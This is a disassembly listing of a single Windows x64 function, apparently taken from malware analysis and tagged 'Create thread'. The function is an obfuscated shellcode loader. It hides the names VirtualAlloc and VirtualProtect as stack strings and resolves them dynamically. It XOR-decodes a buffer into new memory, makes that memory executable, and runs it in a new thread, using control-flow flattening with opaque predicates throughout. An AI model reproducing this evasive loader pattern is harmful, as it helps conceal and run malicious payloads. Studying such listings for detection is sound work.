Function at 0x140002858
Capabilities:
Create thread

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa0
mov r14, r8
mov r15d, edx
mov r12, rcx
mov rax, qword [0x140073a20]
xor rax, rsp
mov qword [rsp + 0x98], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
lea rsi, [rsp + 0x8b]
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x48]
mov rax, qword [rsp + 0x48]
movabs rcx, 0x636f6c6c416c61
mov qword [rax + 5], rcx
movabs rcx, 0x416c617574726956
mov qword [rax], rcx
lea rdi, [rsp + 0x7c]
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movabs rcx, 0x746365746f7250
mov qword [rax + 7], rcx
movabs rcx, 0x506c617574726956
mov qword [rax], rcx
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
mov rdx, rsi
call rbx
mov rsi, rax
mov rcx, rbp
mov rdx, rdi
call rbx
mov qword [rsp + 0x70], rax
movsxd rax, r15d
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x68]
xor edi, edi
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call rsi
mov qword [rsp + 0x40], rax
mov r8d, 0xfd7bab7f
mov ecx, 0xbe896282
mov edx, 0xbb2a5b55
mov ebp, 0xb9a97f81
cmp ebp, 0xbb2a5b54
jg 0x140002996
cmp ebp, 0x8afa92cd
je 0x140002a8c
cmp ebp, 0x9791a04a
je 0x1400029d9
cmp ebp, 0xb9a97f81
jne 0x14000295c
mov dword [rsp + 0x3c], edi
mov ebp, dword [rsp + 0x3c]
cmp ebp, r15d
mov ebp, 0x8afa92cd
cmovl ebp, r8d
jmp 0x14000295c
cmp ebp, 0xbb2a5b55
je 0x140002a29
cmp ebp, 0xbe896282
je 0x140002a83
cmp ebp, 0xfd7bab7f
jne 0x14000295c
mov ebp, dword [0x140075f28]
lea ebx, [rbp - 1]
imul ebx, ebp
test bl, 1
mov ebp, 0x9791a04a
cmove ebp, edx
cmp dword [0x140075f24], 0xa
cmovl ebp, edx
jmp 0x14000295c
movsxd rax, dword [rsp + 0x3c]
mov bl, byte [r12 + rax]
mov ebp, dword [rsp + 0x3c]
mov ebp, dword [rsp + 0x3c]
mov ebp, dword [rsp + 0x3c]
mov ebp, dword [rsp + 0x3c]
mov ebp, dword [rsp + 0x3c]
mov ebp, dword [rsp + 0x3c]
lea esi, [rbp + 3]
test ebp, ebp
cmovns esi, ebp
and esi, 0xfffffffc
sub ebp, esi
movsxd rbp, ebp
xor bl, byte [r14 + rbp]
mov rbp, qword [rsp + 0x40]
mov byte [rbp + rax], bl
mov eax, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x3c]
mov ebp, 0xbb2a5b55
jmp 0x14000295c
movsxd rbp, dword [rsp + 0x3c]
mov bl, byte [r12 + rbp]
mov esi, dword [rsp + 0x3c]
lea eax, [rsi + 3]
test esi, esi
cmovns eax, esi
and eax, 0xfffffffc
sub esi, eax
movsxd rax, esi
xor bl, byte [r14 + rax]
mov rax, qword [rsp + 0x40]
mov byte [rax + rbp], bl
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x5c], eax
mov eax, dword [0x140075f28]
lea ebp, [rax - 1]
imul ebp, eax
test bpl, 1
mov ebp, 0x9791a04a
cmove ebp, ecx
cmp dword [0x140075f24], 0xa
cmovl ebp, ecx
jmp 0x14000295c
mov edi, dword [rsp + 0x5c]
jmp 0x140002957
mov rcx, qword [rsp + 0x40]
call fcn.140002074
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x78]
mov r8d, 0x20
call rax
mov r9, qword [rsp + 0x40]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140002855]
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x48]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.140003180
nop
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret